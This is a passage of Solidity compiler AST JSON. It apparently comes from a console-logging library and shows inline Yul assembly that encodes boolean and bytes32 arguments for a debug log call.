{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39674,"nodeType":"VariableDeclarationStatement","src":"179360:10:22"},{"assignments":[39676],"declarations":[{"constant":false,"id":39676,"mutability":"mutable","name":"m6","nameLocation":"179388:2:22","nodeType":"VariableDeclaration","scope":39685,"src":"179380:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39675,"name":"bytes32","nodeType":"ElementaryTypeName","src":"179380:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39677,"nodeType":"VariableDeclarationStatement","src":"179380:10:22"},{"AST":{"nativeSrc":"179409:822:22","nodeType":"YulBlock","src":"179409:822:22","statements":[{"body":{"nativeSrc":"179452:313:22","nodeType":"YulBlock","src":"179452:313:22","statements":[{"nativeSrc":"179470:15:22","nodeType":"YulVariableDeclaration","src":"179470:15:22","value":{"kind":"number","nativeSrc":"179484:1:22","nodeType":"YulLiteral","src":"179484:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"179474:6:22","nodeType":"YulTypedName","src":"179474:6:22","type":""}]},{"body":{"nativeSrc":"179555:40:22","nodeType":"YulBlock","src":"179555:40:22","statements":[{"body":{"nativeSrc":"179584:9:22","nodeType":"YulBlock","src":"179584:9:22","statements":[{"nativeSrc":"179586:5:22","nodeType":"YulBreak","src":"179586:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"179572:6:22","nodeType":"YulIdentifier","src":"179572:6:22"},{"name":"w","nativeSrc":"179580:1:22","nodeType":"YulIdentifier","src":"179580:1:22"}],"functionName":{"name":"byte","nativeSrc":"179567:4:22","nodeType":"YulIdentifier","src":"179567:4:22"},"nativeSrc":"179567:15:22","nodeType":"YulFunctionCall","src":"179567:15:22"}],"functionName":{"name":"iszero","nativeSrc":"179560:6:22","nodeType":"YulIdentifier","src":"179560:6:22"},"nativeSrc":"179560:23:22","nodeType":"YulFunctionCall","src":"179560:23:22"},"nativeSrc":"179557:36:22","nodeType":"YulIf","src":"179557:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"179512:6:22","nodeType":"YulIdentifier","src":"179512:6:22"},{"kind":"number","nativeSrc":"179520:4:22","nodeType":"YulLiteral","src":"179520:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"179509:2:22","nodeType":"YulIdentifier","src":"179509:2:22"},"nativeSrc":"179509:16:22","nodeType":"YulFunctionCall","src":"179509:16:22"},"nativeSrc":"179502:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"179526:28:22","nodeType":"YulBlock","src":"179526:28:22","statements":[{"nativeSrc":"179528:24:22","nodeType":"YulAssignment","src":"179528:24:22","value":{"arguments":[{"name":"length","nativeSrc":"179542:6:22","nodeType":"YulIdentifier","src":"179542:6:22"},{"kind":"number","nativeSrc":"179550:1:22","nodeType":"YulLiteral","src":"179550:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"179538:3:22","nodeType":"YulIdentifier","src":"179538:3:22"},"nativeSrc":"179538:14:22","nodeType":"YulFunctionCall","src":"179538:14:22"},"variableNames":[{"name":"length","nativeSrc":"179528:6:22","nodeType":"YulIdentifier","src":"179528:6:22"}]}]},"pre":{"nativeSrc":"179506:2:22","nodeType":"YulBlock","src":"179506:2:22","statements":[]},"src":"179502:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"179619:3:22","nodeType":"YulIdentifier","src":"179619:3:22"},{"name":"length","nativeSrc":"179624:6:22","nodeType":"YulIdentifier","src":"179624:6:22"}],"functionName":{"name":"mstore","nativeSrc":"179612:6:22","nodeType":"YulIdentifier","src":"179612:6:22"},"nativeSrc":"179612:19:22","nodeType":"YulFunctionCall","src":"179612:19:22"},"nativeSrc":"179612:19:22","nodeType":"YulExpressionStatement","src":"179612:19:22"},{"nativeSrc":"179648:37:22","nodeType":"YulVariableDeclaration","src":"179648:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"179665:3:22","nodeType":"YulLiteral","src":"179665:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"179674:1:22","nodeType":"YulLiteral","src":"179674:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"179677:6:22","nodeType":"YulIdentifier","src":"179677:6:22"}],"functionName":{"name":"shl","nativeSrc":"179670:3:22","nodeType":"YulIdentifier","src":"179670:3:22"},"nativeSrc":"179670:14:22","nodeType":"YulFunctionCall","src":"179670:14:22"}],"functionName":{"name":"sub","nativeSrc":"179661:3:22","nodeType":"YulIdentifier","src":"179661:3:22"},"nativeSrc":"179661:24:22","nodeType":"YulFunctionCall","src":"179661:24:22"},"variables":[{"name":"shift","nativeSrc":"179652:5:22","nodeType":"YulTypedName","src":"179652:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"179713:3:22","nodeType":"YulIdentifier","src":"179713:3:22"},{"kind":"number","nativeSrc":"179718:4:22","nodeType":"YulLiteral","src":"179718:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"179709:3:22","nodeType":"YulIdentifier","src":"179709:3:22"},"nativeSrc":"179709:14:22","nodeType":"YulFunctionCall","src":"179709:14:22"},{"arguments":[{"name":"shift","nativeSrc":"179729:5:22","nodeType":"YulIdentifier","src":"179729:5:22"},{"arguments":[{"name":"shift","nativeSrc":"179740:5:22","nodeType":"YulIdentifier","src":"179740:5:22"},{"name":"w","nativeSrc":"179747:1:22","nodeType":"YulIdentifier","src":"179747:1:22"}],"functionName":{"name":"shr","nativeSrc":"179736:3:22","nodeType":"YulIdentifier","src":"179736:3:22"},"nativeSrc":"179736:13:22","nodeType":"YulFunctionCall","src":"179736:13:22"}],"functionName":{"name":"shl","nativeSrc":"179725:3:22","nodeType":"YulIdentifier","src":"179725:3:22"},"nativeSrc":"179725:25:22","nodeType":"YulFunctionCall","src":"179725:25:22"}],"functionName":{"name":"mstore","nativeSrc":"179702:6:22","nodeType":"YulIdentifier","src":"179702:6:22"},"nativeSrc":"179702:49:22","nodeType":"YulFunctionCall","src":"179702:49:22"},"nativeSrc":"179702:49:22","nodeType":"YulExpressionStatement","src":"179702:49:22"}]},"name":"writeString","nativeSrc":"179423:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"179444:3:22","nodeType":"YulTypedName","src":"179444:3:22","type":""},{"name":"w","nativeSrc":"179449:1:22","nodeType":"YulTypedName","src":"179449:1:22","type":""}],"src":"179423:342:22"},{"nativeSrc":"179778:17:22","nodeType":"YulAssignment","src":"179778:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"179790:4:22","nodeType":"YulLiteral","src":"179790:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"179784:5:22","nodeType":"YulIdentifier","src":"179784:5:22"},"nativeSrc":"179784:11:22","nodeType":"YulFunctionCall","src":"179784:11:22"},"variableNames":[{"name":"m0","nativeSrc":"179778:2:22","nodeType":"YulIdentifier","src":"179778:2:22"}]},{"nativeSrc":"179808:17:22","nodeType":"YulAssignment","src":"179808:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"179820:4:22","nodeType":"YulLiteral","src":"179820:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"179814:5:22","nodeType":"YulIdentifier","src":"179814:5:22"},"nativeSrc":"179814:11:22","nodeType":"YulFunctionCall","src":"179814:11:22"},"variableNames":[{"name":"m1","nativeSrc":"179808:2:22","nodeType":"YulIdentifier","src":"179808:2:22"}]},{"nativeSrc":"179838:17:22","nodeType":"YulAssignment","src":"179838:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"179850:4:22","nodeType":"YulLiteral","src":"179850:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"179844:5:22","nodeType":"YulIdentifier","src":"179844:5:22"},"nativeSrc":"179844:11:22","nodeType":"YulFunctionCall","src":"179844:11:22"},"variableNames":[{"name":"m2","nativeSrc":"179838:2:22","nodeType":"YulIdentifier","src":"179838:2:22"}]},{"nativeSrc":"179868:17:22","nodeType":"YulAssignment","src":"179868:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"179880:4:22","nodeType":"YulLiteral","src":"179880:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"179874:5:22","nodeType":"YulIdentifier","src":"179874:5:22"},"nativeSrc":"179874:11:22","nodeType":"YulFunctionCall","src":"179874:11:22"},"variableNames":[{"name":"m3","nativeSrc":"179868:2:22","nodeType":"YulIdentifier","src":"179868:2:22"}]},{"nativeSrc":"179898:17:22","nodeType":"YulAssignment","src":"179898:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"179910:4:22","nodeType":"YulLiteral","src":"179910:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"179904:5:22","nodeType":"YulIdentifier","src":"179904:5:22"},"nativeSrc":"179904:11:22","nodeType":"YulFunctionCall","src":"179904:11:22"},"variableNames":[{"name":"m4","nativeSrc":"179898:2:22","nodeType":"YulIdentifier","src":"179898:2:22"}]},{"nativeSrc":"179928:17:22","nodeType":"YulAssignment","src":"179928:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"179940:4:22","nodeType":"YulLiteral","src":"179940:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"179934:5:22","nodeType":"YulIdentifier","src":"179934:5:22"},"nativeSrc":"179934:11:22","nodeType":"YulFunctionCall","src":"179934:11:22"},"variableNames":[{"name":"m5","nativeSrc":"179928:2:22","nodeType":"YulIdentifier","src":"179928:2:22"}]},{"nativeSrc":"179958:17:22","nodeType":"YulAssignment","src":"179958:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"179970:4:22","nodeType":"YulLiteral","src":"179970:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"179964:5:22","nodeType":"YulIdentifier","src":"179964:5:22"},"nativeSrc":"179964:11:22","nodeType":"YulFunctionCall","src":"179964:11:22"},"variableNames":[{"name":"m6","nativeSrc":"179958:2:22","nodeType":"YulIdentifier","src":"179958:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180052:4:22","nodeType":"YulLiteral","src":"180052:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"180058:10:22","nodeType":"YulLiteral","src":"180058:10:22","type":"","value":"0x2ae408d4"}],"functionName":{"name":"mstore","nativeSrc":"180045:6:22","nodeType":"YulIdentifier","src":"180045:6:22"},"nativeSrc":"180045:24:22","nodeType":"YulFunctionCall","src":"180045:24:22"},"nativeSrc":"180045:24:22","nodeType":"YulExpressionStatement","src":"180045:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180089:4:22","nodeType":"YulLiteral","src":"180089:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"180095:2:22","nodeType":"YulIdentifier","src":"180095:2:22"}],"functionName":{"name":"mstore","nativeSrc":"180082:6:22","nodeType":"YulIdentifier","src":"180082:6:22"},"nativeSrc":"180082:16:22","nodeType":"YulFunctionCall","src":"180082:16:22"},"nativeSrc":"180082:16:22","nodeType":"YulExpressionStatement","src":"180082:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180118:4:22","nodeType":"YulLiteral","src":"180118:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"180124:2:22","nodeType":"YulIdentifier","src":"180124:2:22"}],"functionName":{"name":"mstore","nativeSrc":"180111:6:22","nodeType":"YulIdentifier","src":"180111:6:22"},"nativeSrc":"180111:16:22","nodeType":"YulFunctionCall","src":"180111:16:22"},"nativeSrc":"180111:16:22","nodeType":"YulExpressionStatement","src":"180111:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180147:4:22","nodeType":"YulLiteral","src":"180147:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"180153:2:22","nodeType":"YulIdentifier","src":"180153:2:22"}],"functionName":{"name":"mstore","nativeSrc":"180140:6:22","nodeType":"YulIdentifier","src":"180140:6:22"},"nativeSrc":"180140:16:22","nodeType":"YulFunctionCall","src":"180140:16:22"},"nativeSrc":"180140:16:22","nodeType":"YulExpressionStatement","src":"180140:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180176:4:22","nodeType":"YulLiteral","src":"180176:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"180182:4:22","nodeType":"YulLiteral","src":"180182:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"180169:6:22","nodeType":"YulIdentifier","src":"180169:6:22"},"nativeSrc":"180169:18:22","nodeType":"YulFunctionCall","src":"180169:18:22"},"nativeSrc":"180169:18:22","nodeType":"YulExpressionStatement","src":"180169:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180212:4:22","nodeType":"YulLiteral","src":"180212:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"180218:2:22","nodeType":"YulIdentifier","src":"180218:2:22"}],"functionName":{"name":"writeString","nativeSrc":"180200:11:22","nodeType":"YulIdentifier","src":"180200:11:22"},"nativeSrc":"180200:21:22","nodeType":"YulFunctionCall","src":"180200:21:22"},"nativeSrc":"180200:21:22","nodeType":"YulExpressionStatement","src":"180200:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39658,"isOffset":false,"isSlot":false,"src":"179778:2:22","valueSize":1},{"declaration":39661,"isOffset":false,"isSlot":false,"src":"179808:2:22","valueSize":1},{"declaration":39664,"isOffset":false,"isSlot":false,"src":"179838:2:22","valueSize":1},{"declaration":39667,"isOffset":false,"isSlot":false,"src":"179868:2:22","valueSize":1},{"declaration":39670,"isOffset":false,"isSlot":false,"src":"179898:2:22","valueSize":1},{"declaration":39673,"isOffset":false,"isSlot":false,"src":"179928:2:22","valueSize":1},{"declaration":39676,"isOffset":false,"isSlot":false,"src":"179958:2:22","valueSize":1},{"declaration":39648,"isOffset":false,"isSlot":false,"src":"180095:2:22","valueSize":1},{"declaration":39650,"isOffset":false,"isSlot":false,"src":"180124:2:22","valueSize":1},{"declaration":39652,"isOffset":false,"isSlot":false,"src":"180153:2:22","valueSize":1},{"declaration":39654,"isOffset":false,"isSlot":false,"src":"180218:2:22","valueSize":1}],"id":39678,"nodeType":"InlineAssembly","src":"179400:831:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39680,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"180256:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":39681,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"180262:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":39679,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"180240:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39682,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"180240:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39683,"nodeType":"ExpressionStatement","src":"180240:27:22"},{"AST":{"nativeSrc":"180286:214:22","nodeType":"YulBlock","src":"180286:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"180307:4:22","nodeType":"YulLiteral","src":"180307:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"180313:2:22","nodeType":"YulIdentifier","src":"180313:2:22"}],"functionName":{"name":"mstore","nativeSrc":"180300:6:22","nodeType":"YulIdentifier","src":"180300:6:22"},"nativeSrc":"180300:16:22","nodeType":"YulFunctionCall","src":"180300:16:22"},"nativeSrc":"180300:16:22","nodeType":"YulExpressionStatement","src":"180300:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180336:4:22","nodeType":"YulLiteral","src":"180336:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"180342:2:22","nodeType":"YulIdentifier","src":"180342:2:22"}],"functionName":{"name":"mstore","nativeSrc":"180329:6:22","nodeType":"YulIdentifier","src":"180329:6:22"},"nativeSrc":"180329:16:22","nodeType":"YulFunctionCall","src":"180329:16:22"},"nativeSrc":"180329:16:22","nodeType":"YulExpressionStatement","src":"180329:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180365:4:22","nodeType":"YulLiteral","src":"180365:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"180371:2:22","nodeType":"YulIdentifier","src":"180371:2:22"}],"functionName":{"name":"mstore","nativeSrc":"180358:6:22","nodeType":"YulIdentifier","src":"180358:6:22"},"nativeSrc":"180358:16:22","nodeType":"YulFunctionCall","src":"180358:16:22"},"nativeSrc":"180358:16:22","nodeType":"YulExpressionStatement","src":"180358:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180394:4:22","nodeType":"YulLiteral","src":"180394:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"180400:2:22","nodeType":"YulIdentifier","src":"180400:2:22"}],"functionName":{"name":"mstore","nativeSrc":"180387:6:22","nodeType":"YulIdentifier","src":"180387:6:22"},"nativeSrc":"180387:16:22","nodeType":"YulFunctionCall","src":"180387:16:22"},"nativeSrc":"180387:16:22","nodeType":"YulExpressionStatement","src":"180387:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180423:4:22","nodeType":"YulLiteral","src":"180423:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"180429:2:22","nodeType":"YulIdentifier","src":"180429:2:22"}],"functionName":{"name":"mstore","nativeSrc":"180416:6:22","nodeType":"YulIdentifier","src":"180416:6:22"},"nativeSrc":"180416:16:22","nodeType":"YulFunctionCall","src":"180416:16:22"},"nativeSrc":"180416:16:22","nodeType":"YulExpressionStatement","src":"180416:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180452:4:22","nodeType":"YulLiteral","src":"180452:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"180458:2:22","nodeType":"YulIdentifier","src":"180458:2:22"}],"functionName":{"name":"mstore","nativeSrc":"180445:6:22","nodeType":"YulIdentifier","src":"180445:6:22"},"nativeSrc":"180445:16:22","nodeType":"YulFunctionCall","src":"180445:16:22"},"nativeSrc":"180445:16:22","nodeType":"YulExpressionStatement","src":"180445:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180481:4:22","nodeType":"YulLiteral","src":"180481:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"180487:2:22","nodeType":"YulIdentifier","src":"180487:2:22"}],"functionName":{"name":"mstore","nativeSrc":"180474:6:22","nodeType":"YulIdentifier","src":"180474:6:22"},"nativeSrc":"180474:16:22","nodeType":"YulFunctionCall","src":"180474:16:22"},"nativeSrc":"180474:16:22","nodeType":"YulExpressionStatement","src":"180474:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39658,"isOffset":false,"isSlot":false,"src":"180313:2:22","valueSize":1},{"declaration":39661,"isOffset":false,"isSlot":false,"src":"180342:2:22","valueSize":1},{"declaration":39664,"isOffset":false,"isSlot":false,"src":"180371:2:22","valueSize":1},{"declaration":39667,"isOffset":false,"isSlot":false,"src":"180400:2:22","valueSize":1},{"declaration":39670,"isOffset":false,"isSlot":false,"src":"180429:2:22","valueSize":1},{"declaration":39673,"isOffset":false,"isSlot":false,"src":"180458:2:22","valueSize":1},{"declaration":39676,"isOffset":false,"isSlot":false,"src":"180487:2:22","valueSize":1}],"id":39684,"nodeType":"InlineAssembly","src":"180277:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"179193:3:22","parameters":{"id":39655,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39648,"mutability":"mutable","name":"p0","nameLocation":"179202:2:22","nodeType":"VariableDeclaration","scope":39686,"src":"179197:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39647,"name":"bool","nodeType":"ElementaryTypeName","src":"179197:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39650,"mutability":"mutable","name":"p1","nameLocation":"179211:2:22","nodeType":"VariableDeclaration","scope":39686,"src":"179206:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39649,"name":"bool","nodeType":"ElementaryTypeName","src":"179206:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39652,"mutability":"mutable","name":"p2","nameLocation":"179220:2:22","nodeType":"VariableDeclaration","scope":39686,"src":"179215:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39651,"name":"bool","nodeType":"ElementaryTypeName","src":"179215:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39654,"mutability":"mutable","name":"p3","nameLocation":"179232:2:22","nodeType":"VariableDeclaration","scope":39686,"src":"179224:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39653,"name":"bytes32","nodeType":"ElementaryTypeName","src":"179224:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"179196:39:22"},"returnParameters":{"id":39656,"nodeType":"ParameterList","parameters":[],"src":"179250:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39720,"nodeType":"FunctionDefinition","src":"180512:780:22","nodes":[],"body":{"id":39719,"nodeType":"Block","src":"180581:711:22","nodes":[],"statements":[{"assignments":[39698],"declarations":[{"constant":false,"id":39698,"mutability":"mutable","name":"m0","nameLocation":"180599:2:22","nodeType":"VariableDeclaration","scope":39719,"src":"180591:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39697,"name":"bytes32","nodeType":"ElementaryTypeName","src":"180591:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39699,"nodeType":"VariableDeclarationStatement","src":"180591:10:22"},{"assignments":[39701],"declarations":[{"constant":false,"id":39701,"mutability":"mutable","name":"m1","nameLocation":"180619:2:22","nodeType":"VariableDeclaration","scope":39719,"src":"180611:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39700,"name":"bytes32","nodeType":"ElementaryTypeName","src":"180611:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39702,"nodeType":"VariableDeclarationStatement","src":"180611:10:22"},{"assignments":[39704],"declarations":[{"constant":false,"id":39704,"mutability":"mutable","name":"m2","nameLocation":"180639:2:22","nodeType":"VariableDeclaration","scope":39719,"src":"180631:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39703,"name":"bytes32","nodeType":"ElementaryTypeName","src":"180631:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39705,"nodeType":"VariableDeclarationStatement","src":"180631:10:22"},{"assignments":[39707],"declarations":[{"constant":false,"id":39707,"mutability":"mutable","name":"m3","nameLocation":"180659:2:22","nodeType":"VariableDeclaration","scope":39719,"src":"180651:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39706,"name":"bytes32","nodeType":"ElementaryTypeName","src":"180651:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39708,"nodeType":"VariableDeclarationStatement","src":"180651:10:22"},{"assignments":[39710],"declarations":[{"constant":false,"id":39710,"mutability":"mutable","name":"m4","nameLocation":"180679:2:22","nodeType":"VariableDeclaration","scope":39719,"src":"180671:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39709,"name":"bytes32","nodeType":"ElementaryTypeName","src":"180671:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39711,"nodeType":"VariableDeclarationStatement","src":"180671:10:22"},{"AST":{"nativeSrc":"180700:375:22","nodeType":"YulBlock","src":"180700:375:22","statements":[{"nativeSrc":"180714:17:22","nodeType":"YulAssignment","src":"180714:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"180726:4:22","nodeType":"YulLiteral","src":"180726:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"180720:5:22","nodeType":"YulIdentifier","src":"180720:5:22"},"nativeSrc":"180720:11:22","nodeType":"YulFunctionCall","src":"180720:11:22"},"variableNames":[{"name":"m0","nativeSrc":"180714:2:22","nodeType":"YulIdentifier","src":"180714:2:22"}]},{"nativeSrc":"180744:17:22","nodeType":"YulAssignment","src":"180744:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"180756:4:22","nodeType":"YulLiteral","src":"180756:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"180750:5:22","nodeType":"YulIdentifier","src":"180750:5:22"},"nativeSrc":"180750:11:22","nodeType":"YulFunctionCall","src":"180750:11:22"},"variableNames":[{"name":"m1","nativeSrc":"180744:2:22","nodeType":"YulIdentifier","src":"180744:2:22"}]},{"nativeSrc":"180774:17:22","nodeType":"YulAssignment","src":"180774:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"180786:4:22","nodeType":"YulLiteral","src":"180786:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"180780:5:22","nodeType":"YulIdentifier","src":"180780:5:22"},"nativeSrc":"180780:11:22","nodeType":"YulFunctionCall","src":"180780:11:22"},"variableNames":[{"name":"m2","nativeSrc":"180774:2:22","nodeType":"YulIdentifier","src":"180774:2:22"}]},{"nativeSrc":"180804:17:22","nodeType":"YulAssignment","src":"180804:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"180816:4:22","nodeType":"YulLiteral","src":"180816:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"180810:5:22","nodeType":"YulIdentifier","src":"180810:5:22"},"nativeSrc":"180810:11:22","nodeType":"YulFunctionCall","src":"180810:11:22"},"variableNames":[{"name":"m3","nativeSrc":"180804:2:22","nodeType":"YulIdentifier","src":"180804:2:22"}]},{"nativeSrc":"180834:17:22","nodeType":"YulAssignment","src":"180834:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"180846:4:22","nodeType":"YulLiteral","src":"180846:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"180840:5:22","nodeType":"YulIdentifier","src":"180840:5:22"},"nativeSrc":"180840:11:22","nodeType":"YulFunctionCall","src":"180840:11:22"},"variableNames":[{"name":"m4","nativeSrc":"180834:2:22","nodeType":"YulIdentifier","src":"180834:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180932:4:22","nodeType":"YulLiteral","src":"180932:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"180938:10:22","nodeType":"YulLiteral","src":"180938:10:22","type":"","value":"0x54a7a9a0"}],"functionName":{"name":"mstore","nativeSrc":"180925:6:22","nodeType":"YulIdentifier","src":"180925:6:22"},"nativeSrc":"180925:24:22","nodeType":"YulFunctionCall","src":"180925:24:22"},"nativeSrc":"180925:24:22","nodeType":"YulExpressionStatement","src":"180925:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180969:4:22","nodeType":"YulLiteral","src":"180969:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"180975:2:22","nodeType":"YulIdentifier","src":"180975:2:22"}],"functionName":{"name":"mstore","nativeSrc":"180962:6:22","nodeType":"YulIdentifier","src":"180962:6:22"},"nativeSrc":"180962:16:22","nodeType":"YulFunctionCall","src":"180962:16:22"},"nativeSrc":"180962:16:22","nodeType":"YulExpressionStatement","src":"180962:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"180998:4:22","nodeType":"YulLiteral","src":"180998:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"181004:2:22","nodeType":"YulIdentifier","src":"181004:2:22"}],"functionName":{"name":"mstore","nativeSrc":"180991:6:22","nodeType":"YulIdentifier","src":"180991:6:22"},"nativeSrc":"180991:16:22","nodeType":"YulFunctionCall","src":"180991:16:22"},"nativeSrc":"180991:16:22","nodeType":"YulExpressionStatement","src":"180991:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"181027:4:22","nodeType":"YulLiteral","src":"181027:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"181033:2:22","nodeType":"YulIdentifier","src":"181033:2:22"}],"functionName":{"name":"mstore","nativeSrc":"181020:6:22","nodeType":"YulIdentifier","src":"181020:6:22"},"nativeSrc":"181020:16:22","nodeType":"YulFunctionCall","src":"181020:16:22"},"nativeSrc":"181020:16:22","nodeType":"YulE